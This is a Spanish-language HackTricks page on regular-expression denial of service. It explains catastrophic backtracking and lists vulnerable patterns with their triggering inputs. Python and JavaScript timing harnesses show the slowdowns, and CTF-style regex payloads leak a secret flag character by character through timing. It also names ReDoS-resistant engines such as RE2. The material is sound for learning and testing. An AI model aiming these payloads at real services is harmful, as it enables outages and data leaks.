Regular expression Denial of Service - ReDoS

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Regular Expression Denial of Service (ReDoS)

A Regular Expression Denial of Service (ReDoS) ocurre cuando alguien se aprovecha de debilidades en el funcionamiento de las expresiones regulares (una forma de buscar y emparejar patrones en texto). A veces, cuando se usan expresiones regulares, pueden volverse muy lentas, especialmente si el fragmento de texto con el que trabajan aumenta de tamaño. Esta lentitud puede empeorar hasta crecer muy rápidamente con incluso pequeños incrementos en el tamaño del texto. Los atacantes pueden usar este problema para hacer que un programa que usa expresiones regulares deje de funcionar correctamente durante un largo periodo.

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Engine behavior and exploitability

  • La mayoría de los motores populares (PCRE, Java java.util.regex, Python re, JavaScript RegExp) usan una VM de backtracking. Entradas cuidadosamente creadas que generan muchas formas solapadas de emparejar un subpatrón fuerzan un backtracking exponencial o de alto polinomio.
  • Algunos engines/libraries están diseñados para ser ReDoS-resilient por construcción (sin backtracking), p. ej. RE2 y ports basados en autómatas finitos que ofrecen tiempo lineal en el peor caso; usarlos para input no confiable elimina la primitiva DoS basada en backtracking. Consulta las referencias al final para más detalles.

Evil Regexes

Un patrón de expresión regular malicioso es aquel que puede quedarse atascado con una entrada especialmente creada causando un DoS. Los patrones regex maliciosos suelen contener agrupaciones con repetición y repetición o alternancia con solapamiento dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

Todos esos son vulnerables a la entrada aaaaaaaaaaaaaaaaaaaaaaaa!.

Practical recipe to build PoCs

La mayoría de los casos catastróficos siguen esta forma:

  • Prefijo que te introduce en el subpatrón vulnerable (opcional).
  • Larga secuencia de un carácter que provoca coincidencias ambiguas dentro de cuantificadores anidados/solapados (p. ej., muchos a, _, o espacios).
  • Un carácter final que fuerza el fallo global para que el engine deba backtrackear por todas las posibilidades (a menudo un carácter que no coincidirá con el último token, como !).

Ejemplos mínimos:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

Aumenta N y observa un crecimiento super‑lineal.

Quick timing harness (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

En un CTF (o bug bounty) quizá tú controlas la Regex con la que se compara una información sensible (la flag). Entonces, puede ser útil provocar que la página se congele (timeout o mayor tiempo de procesamiento) si la Regex coincide y no si no coincide. De este modo podrás exfiltrar la cadena carácter por carácter:

  • En this post puedes encontrar esta regla de ReDoS: ^(?=<flag>)((.*)*)*salt$
  • Ejemplo: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • En this writeup puedes encontrar esta: <flag>(((((((.*)*)*)*)*)*)*)!
  • En this writeup usó: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

Los siguientes son ejemplos de ReDoS donde controlas tanto la entrada como la regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Notas de lenguaje/motor para atacantes

  • JavaScript (browser/Node): El RegExp incorporado es un motor de backtracking y comúnmente explotable cuando regex+input están influenciados por un atacante.
  • Python: re usa backtracking. Secuencias largas y ambiguas más una parte final que falla suelen provocar retroceso catastrófico.
  • Java: java.util.regex usa backtracking. Si solo controlas el input, busca endpoints que usen validadores complejos; si controlas los patrones (p. ej., reglas almacenadas), ReDoS suele ser trivial.
  • Engines such as RE2/RE2J/RE2JS or the Rust regex crate están diseñados para evitar el retroceso catastrófico. Si te topas con estos, céntrate en otros cuellos de botella (p. ej., patrones enormes) o encuentra componentes que todavía usen motores de backtracking.

Tools

Tip: Cuando solo controlas el input, genera cadenas con longitudes que se duplican (p. ej., 2^k caracteres) y registra la latencia. El crecimiento exponencial indica fuertemente un ReDoS viable.

References

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks